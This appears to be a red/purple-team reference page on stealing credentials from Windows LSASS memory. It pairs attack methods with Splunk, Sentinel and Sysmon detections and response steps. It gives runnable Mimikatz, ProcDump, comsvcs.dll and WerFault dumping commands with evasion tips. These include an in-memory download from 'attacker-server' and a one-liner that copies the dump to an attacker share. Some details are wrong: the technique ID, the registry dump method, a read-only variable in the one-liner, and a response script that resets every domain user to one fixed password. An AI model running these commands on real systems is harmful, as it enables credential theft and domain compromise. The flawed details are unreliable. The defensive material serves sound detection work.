MCADDF

[PERSIST-INJECT-001]: Credential Injection via LSASS

Metadata

Attribute Details
Technique ID PERSIST-INJECT-001
MITRE ATT&CK v18.1 T1055.001 – Dynamic-link Library Injection
Tactic Privilege Escalation / Credential Access
Platforms Windows Endpoint (Server 2016 - 2025, Windows 10 - 11)
Severity CRITICAL
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows Server 2016, 2019, 2022, 2025; Windows 10 - 11 (all versions)
Patched In N/A (inherent to architecture; mitigated via PPL in Windows 10+)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: LSASS (Local Security Authority Subsystem Service) injection is a credential dumping technique where an attacker with administrative or SYSTEM privileges injects code into or directly reads the memory of the LSASS process to extract authentication secrets. The LSASS process stores sensitive credential material including NTLM password hashes, Kerberos tickets, plaintext passwords (under certain conditions), and cached credentials. By gaining access to LSASS memory, an attacker can harvest these credentials for lateral movement, privilege escalation, and domain compromise. This technique bypasses traditional authentication mechanisms and is a foundational step in advanced persistent threat (APT) operations.

Attack Surface: The LSASS process (Local Security Authority Subsystem Service) running as SYSTEM privilege on local machines, accessible via Windows API calls (OpenProcess, ReadProcessMemory), DLL injection mechanisms, or memory dump utilities.

Business Impact: Immediate Credential Compromise. Once LSASS is dumped, an attacker gains access to domain administrator hashes, service account credentials, and plaintext passwords. This enables immediate lateral movement across the entire domain, compromise of critical infrastructure, potential ransomware deployment, and data exfiltration. In Active Directory environments, a single LSASS dump on a domain controller or admin workstation can lead to full domain compromise.

Technical Context: LSASS dumping typically takes 5-30 seconds to execute and generates high-volume event logs (500+ events) unless anti-logging techniques are applied. Modern EDR solutions detect this with 95%+ accuracy. Stealth variants using legitimate tools (ProcDump, Windows Error Reporting, comsvcs.dll) reduce detection likelihood but are still detectable through behavioral analytics.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 4.1 Ensure ‘Enforce password history’ is set to 24 or more passwords remembered
CIS Benchmark CIS 4.2 Ensure ‘Maximum password age’ is set to 60 or fewer days
DISA STIG WN10-00-000240 Credential delegation must not be allowed if NTLM-only is configured
NIST 800-53 AC-3 Access Enforcement (credential dumping exploits weak access controls)
NIST 800-53 SI-4 Information System Monitoring and Alerting (detection of suspicious handle access)
GDPR Art. 32 Security of Processing (protection of authentication data in transit/at rest)
NIS2 Art. 21 Cyber Risk Management Measures (incident detection and response)
ISO 27001 A.9.2.3 Management of Privileged Access Rights (credential protection)
ISO 27005 Risk Assessment Compromise of authentication infrastructure

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools (Optional):

3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using Mimikatz (Interactive)

Supported Versions: Server 2016 - 2025

Step 1: Gain Local Administrator Access

Objective: Verify administrative privileges are held before attempting LSASS access.

Command:

# Check current privileges
whoami /groups | findstr "S-1-5-32-544"
# Output should contain "Administrators" with "Group, Enabled" status

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Download or Execute Mimikatz

Command (In-Memory PowerShell):

# Download and execute Mimikatz in memory (avoiding disk writes)
$url = "http://attacker-server/Invoke-Mimikatz.ps1"
IEX (New-Object System.Net.WebClient).DownloadString($url)
Invoke-Mimikatz -DumpCreds

Command (Direct Executable):

# If Mimikatz binary is already present
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"

Command (Server 2022+):

# Server 2022 has stricter PPL enforcement; may require handle cloning bypass
# Use Mimikatz 2.2.0-20220919+ which includes PPL bypass
mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Expected Output:

Authentication Id : 0 ; 0 (00000000:00000000)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)

Authentication Id : 0 ; 146387 (00000000:00023b53)
Session           : Interactive from 0
User Name         : Administrator
Domain            : CONTOSO
Logon Server      : DC01
Logon Time        : 1/9/2025 10:15:23 AM
SID               : S-1-5-21-3623811015-3361044348-30300510-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CONTOSO
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        kerberos :
         * Username : Administrator
         * Domain   : CONTOSO.COM
         * Password : (null)

What This Means:

OpSec & Evasion:

Troubleshooting:

METHOD 2: Using ProcDump (Legitimate Tool Abuse)

Supported Versions: Server 2016 - 2025

Step 1: Obtain ProcDump Binary

Command (Download from Microsoft):

# Download from Microsoft Sysinternals
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\procdump.zip"
Expand-Archive -Path "$env:TEMP\procdump.zip" -DestinationPath "$env:TEMP\procdump"

What This Means:

OpSec & Evasion:

Step 2: Dump LSASS Memory

Command:

# Dump full memory of LSASS process
procdump64.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

Expected Output:

ProcDump v10.0 - Process dump utility
Copyright (C) 2009-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

Process LSASS (560) selected
[10:25:15] Dump 1/1: Triggered by user request. File: C:\Temp\lsass.dmp (100 MB)
[10:25:23] Dump complete

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Credentials Offline (On Attacker Machine)

Command (Mimikatz):

mimikatz.exe
sekurlsa::minidump C:\temp\lsass.dmp
sekurlsa::logonPasswords

Expected Output: Same as METHOD 1; credentials extracted from dump file.

OpSec & Evasion:

METHOD 3: Using Comsvcs.dll via Rundll32 (Living-off-the-Land)

Supported Versions: Server 2016 - 2025

Step 1: Execute MiniDump via Rundll32

Command:

# Use rundll32 to invoke comsvcs.dll MiniDumpW function
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass-pid> C:\Temp\lsass.dmp full

First, identify LSASS PID:

$lsassPID = (Get-Process lsass).Id
Write-Host "LSASS PID: $lsassPID"

Complete Combined Command:

# Combine PID retrieval and dump
FOR /F "tokens=2" %i IN ('tasklist ^| findstr /I lsass') DO rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %i C:\Temp\lsass.dmp full

Expected Output:

(Minimal output; file created silently at C:\Temp\lsass.dmp)

What This Means:

OpSec & Evasion:

Troubleshooting:

METHOD 4: Windows Error Reporting (WerFault) – OPSEC Optimized

Supported Versions: Server 2016 - 2025 (Server 2022+ recommended for PPL bypass)

Step 1: Trigger Silent Process Exit Monitoring

Command (Registry):

# Configure silent process exit to dump LSASS
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe"
New-Item -Path $regPath -Force | Out-Null
New-ItemProperty -Path $regPath -Name "GlobalFlag" -Value "0x200" -PropertyType DWord -Force | Out-Null
New-ItemProperty -Path $regPath -Name "LocalDump" -Value "C:\Temp\lsass_dump" -PropertyType String -Force | Out-Null

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Wait for or Trigger LSASS Crash

Command (Provoke Crash - Dangerous):

# Force LSASS termination (may blue-screen system)
$lsass = Get-Process lsass
Stop-Process -InputObject $lsass -Force -ErrorAction SilentlyContinue

What This Means:

OpSec & Evasion:

Step 3: Retrieve Dump File

Command:

# Dump file created at C:\Temp\lsass_dump
Get-ChildItem -Path "C:\Temp\lsass_dump\*" -Recurse
# File will be named something like "lsass.exe.XXXX.dmp"

4. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team Tests

Command (Run Atomic Red Team Test):

# Install Atomic Red Team (if not already installed)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/install-atomicredteam.ps1' -UseBasicParsing)

# Run specific test
Invoke-AtomicTest T1055.001 -TestNumbers 1

Cleanup Command:

Invoke-AtomicTest T1055.001 -TestNumbers 1 -Cleanup

Reference: Atomic Red Team Library

5. TOOLS & COMMANDS REFERENCE

Mimikatz

Version: 2.2.0-20220919+ (latest) Minimum Version: 2.0.0 Supported Platforms: Windows Server 2012 R2+, Windows 7+

Version-Specific Notes:

Installation:

# Download latest release
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" `
  -OutFile "$env:TEMP\mimikatz.zip"
Expand-Archive -Path "$env:TEMP\mimikatz.zip" -DestinationPath "$env:TEMP\mimikatz"
cd $env:TEMP\mimikatz\x64

Usage:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

ProcDump (Sysinternals)

Version: 10.0+ Minimum Version: 9.0 Supported Platforms: Windows Server 2008 R2+, Windows Vista+

Installation:

# Download from Sysinternals
$url = "https://download.sysinternals.com/files/Procdump.zip"
Invoke-WebRequest -Uri $url -OutFile "$env:TEMP\procdump.zip"
Expand-Archive -Path "$env:TEMP\procdump.zip" -DestinationPath "$env:TEMP\procdump"

Usage:

procdump64.exe -ma lsass.exe C:\Temp\lsass.dmp

Script (One-Liner – OPSEC Optimized)

# One-liner to dump LSASS and exfiltrate via HTTP
$lsass = Get-Process lsass; $pid = $lsass.Id; rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Temp\lsass.dmp full; (Get-Content C:\Temp\lsass.dmp -Encoding Byte) | Out-File -FilePath \\attacker-server\share\lsass.dmp -Encoding Byte

6. SPLUNK DETECTION RULES

Rule 1: LSASS Handle Access via Suspicious DLL

Rule Configuration:

SPL Query:

index=windows (event_id=4656 OR event_id=4663) TargetObject="*lsass.exe" 
  CallTrace IN ("*dbgcore.dll*", "*dbghelp.dll*", "*ntdll.dll*") 
  AccessReason="SUSPICIOUS"
| stats count by src_ip, user, Image, TargetObject
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to event_id >= 1
  6. Configure Action → Send email to SOC
  7. Save as alert: LSASS_Handle_Access_via_DLL

False Positive Analysis:

Rule 2: LSASS Dump File Creation

Rule Configuration:

SPL Query:

index=windows EventCode=11 (FileName="*lsass*.dmp" OR FileName="*lsass*.bin" OR FileName IN ("C:\Windows\CrashDumps\*", "C:\Temp\*"))
  Image IN ("*procdump*", "*mimikatz*", "*rundll32*", "*WerFault*")
| stats count by src_ip, user, FileName, Image
| where count >= 1

What This Detects:

Manual Configuration Steps (Same as Rule 1)

False Positive Analysis:

7. MICROSOFT SENTINEL DETECTION

Query 1: LSASS Process Handle Access Anomaly

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID in (4656, 4663) and TargetObject has "lsass.exe"
| where CallTrace has_any ("dbgcore.dll", "dbghelp.dll", "ntdll.dll")
| extend Severity = iif(EventID == 4656, "HIGH", "MEDIUM")
| summarize EventCount=count(), Processes=make_set(ProcessName), Users=make_set(Account) by Computer, Severity
| where EventCount >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: LSASS_Handle_Access_Anomaly
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "MyResourceGroup"
$WorkspaceName = "MySentinelWorkspace"

$query = @"
SecurityEvent
| where EventID in (4656, 4663) and TargetObject has "lsass.exe"
| where CallTrace has_any ("dbgcore.dll", "dbghelp.dll", "ntdll.dll")
| summarize EventCount=count() by Computer
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "LSASS_Handle_Access_Anomaly" `
  -Query $query `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel Analytics Rules

Query 2: LSASS Process Dump via ProcDump

Rule Configuration:

KQL Query:

DeviceProcessEvents
| where ProcessCommandLine has_any ("procdump", "-ma", "lsass") 
  or InitiatingProcessFileName has "procdump"
| join (DeviceFileEvents) on $left.DeviceId == $right.DeviceId
| where FileName has_any (".dmp", ".bin") and FileName has_any ("lsass", "temp", "crash")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, ProcessCommandLine, FileName
| summarize AlertCount=count() by DeviceName, InitiatingProcessAccountName

What This Detects:

8. WINDOWS EVENT LOG MONITORING

Event ID: 4656 (A handle to an object was requested)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → Object Access
  3. Enable: Audit Handle Manipulation (set to Success and Failure)
  4. Run gpupdate /force on target machines
  5. Restart Windows Event Log service (or reboot)

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → Audit Policies → Object Access
  3. Enable: Audit Handle Manipulation (Success and Failure)
  4. Run: auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enable
  5. Restart: Restart-Service Eventlog

Event ID: 4663 (An attempt was made to access an object)

Event ID: 4688 (A new process has been created)

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+, Windows 10+

Sysmon Config Snippet:

<!-- Detect LSASS memory access via suspicious DLLs -->
<RuleGroup name="LSASS_MemoryAccess" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
    <SourceImage condition="exclude">
      C:\Windows\system32\svchost.exe
      C:\Windows\system32\wininit.exe
    </SourceImage>
    <GrantedAccess condition="is">0x1410</GrantedAccess> <!-- PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ -->
  </ProcessAccess>
  
  <!-- Detect rundll32 dumping lsass -->
  <ProcessCreate onmatch="include">
    <Image condition="is">C:\Windows\system32\rundll32.exe</Image>
    <CommandLine condition="contains">comsvcs</CommandLine>
  </ProcessCreate>
  
  <!-- Detect dump file creation -->
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">lsass</TargetFilename>
    <TargetFilename condition="endswith">.dmp</TargetFilename>
  </FileCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download latest Sysmon from Microsoft Sysinternals
  2. Create config file sysmon-config.xml with snippet above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious process access to LSASS detected (MiniDump)”

Alert Name: “LSASS memory dump file detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Cloud Apps: ON (optional, for M365 monitoring)
  5. Click Save
  6. Go to Security alerts to view triggered alerts
  7. Configure auto-remediation: Settings → Auto Provisioning → Enable Log Analytics Agent

Reference: Microsoft Defender Alert Reference

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Check if PPL is enabled for LSASS
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue | Select-Object RunAsPPL

# Expected Output (If Secure): RunAsPPL = 1 or 2
# Expected Output (If Not Secure): Property doesn't exist or value is 0

# Check ASR Rules
Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids

# Check Credential Guard
$credGuard = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -ErrorAction SilentlyContinue
if ($credGuard -and (Get-ItemProperty -Path $credGuard -Name "EnableVirtualizationBasedSecurity" -ErrorAction SilentlyContinue).EnableVirtualizationBasedSecurity -eq 1) {
    Write-Host "Credential Guard: ENABLED"
} else {
    Write-Host "Credential Guard: DISABLED"
}

Expected Output (If Secure):

RunAsPPL                              : 1
AttackSurfaceReductionRules_Ids       : {26190899-1602-49e8-8b27-eb1d0a1ce869, 9e6c4e1f-7d60-472f-ba1a-a39dc776e697, ...}
Credential Guard: ENABLED

What to Look For:

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (IMMEDIATE):

    Command (Disconnect Network):

    # Disable all network adapters
Get-NetAdapter | Disable-NetAdapter -Confirm:$false

    Manual (Azure):

    • Navigate to Azure Portal → Virtual Machines → Select affected VM → Networking → Disconnect from all subnets

  2. Collect Evidence:

    Command (Export Security Event Log):

    # Export last 24 hours of Security logs
$yesterday = (Get-Date).AddDays(-1)
wevtutil epl Security C:\Evidence\Security.evtx /overwrite
Get-WinEvent -FilterHashtable @{LogName='Security'; StartTime=$yesterday} | Export-Csv -Path C:\Evidence\Security_Events.csv -NoTypeInformation

    Command (Capture Memory Dump of Affected Machine):

    # If still running, dump entire system memory (requires DumpIt.exe or WinDBG)
# Note: This is resource-intensive; only if no other forensics available

    Manual:

    • Open Event Viewer → Windows Logs → Security → Right-click → Save All Events As → C:\Evidence\Security.evtx
    • Copy C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon~Operational.evtx to evidence folder
    • Export Sysmon logs: wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx

  3. Remediate:

    Command (Kill Malicious Processes):

    # Stop any suspicious processes (if still running)
Stop-Process -Name "mimikatz", "procdump", "rundll32" -Force -ErrorAction SilentlyContinue

    Command (Remove Dump Files):

    # Delete dump files
Remove-Item "C:\Windows\Temp\lsass*.dmp" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Temp\lsass*.dmp" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\CrashDumps\lsass*.dmp" -Force -ErrorAction SilentlyContinue

    Command (Password Reset ALL Affected Users):

    # Reset all user passwords in AD
# In Entra ID:
$affectedUsers = @("user1@contoso.com", "user2@contoso.com", "admin@contoso.com")
foreach ($user in $affectedUsers) {
    # Password reset must be done via Azure Portal or Set-AzureADUserPassword
    Update-MgUser -UserId $user -PasswordProfile @{ForceChangePasswordNextSignIn=$true}
}
    
# In On-Premises AD:
$affectedUsers = Get-ADUser -Filter {Name -like "*"}
foreach ($user in $affectedUsers) {
    Set-ADAccountPassword -Identity $user -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force)
    Set-ADUser -Identity $user -ChangePasswordAtLogon $true
}

  4. Hunt for Lateral Movement:

    Command (Find Unusual RDP Logons):

    # Check for lateral movement via RDP
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddDays(-1)} |
  Where-Object {$_.Properties[8].Value -eq 10} | # RDP logon type
  Export-Csv -Path C:\Evidence\RDP_Logons.csv

    Command (Check for Kerberos Ticket Abuse):

    # Check for unusual TGS-REQ events (possible Golden Ticket)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769; StartTime=(Get-Date).AddDays(-1)} |
  Select-Object TimeCreated, @{N='Account';E={$_.Properties[0].Value}}, @{N='Service';E={$_.Properties[2].Value}} |
  Export-Csv -Path C:\Evidence\Kerberos_Tickets.csv
Step Phase Technique Description
1 Initial Access [T1566.002] Phishing: Spearphishing Attachment Attacker sends malicious document or link to gain foothold
2 Execution [T1204.002] User Execution: Malicious File User executes payload; malware installed
3 Persistence [T1547.001] Boot or Logon Autostart Execution Malware achieves persistence via Registry RunKeys
4 Privilege Escalation [T1548.002] Abuse Elevation Control Mechanism Attacker exploits UAC bypass or Windows vulnerability to elevate to admin
5 Credential Access [PERSIST-INJECT-001] LSASS Credential Injection Attacker dumps LSASS memory to harvest credentials
6 Lateral Movement [T1570] Lateral Tool Transfer Attacker uses stolen credentials to move to Domain Controller or admin workstation
7 Impact [T1565.001] Data Destruction: Stored Data Manipulation Attacker executes ransomware or data exfiltration with harvested credentials

14. REAL-WORLD EXAMPLES

Example 1: LAPSUS$ Credential Theft Campaign (2022)

Example 2: Conti Ransomware Operational Security (2021-2022)

Example 3: Scattered Spider Incident Response Evasion (2023)

Appendix: References & Sources

  1. MITRE ATT&CK T1055.001 - Dynamic-link Library Injection
  2. MITRE ATT&CK T1003.001 - OS Credential Dumping: LSASS Memory
  3. Microsoft Learn - Detecting and Preventing LSASS Credential Dumping
  4. Red Canary - Process Injection Detection
  5. Atomic Red Team - LSASS Dumping Tests
  6. Splunk - LSASS Access Hunting
  7. Microsoft Defender for Endpoint - Attack Surface Reduction
  8. Purple Team - LSASS Dump via Windows Error Reporting
  9. CyberAdvisors - Dumping LSASS Without Mimikatz
  10. Detection.FYI - LSASS Credential Dumping Detection Methods
This site is open source. Improve this page.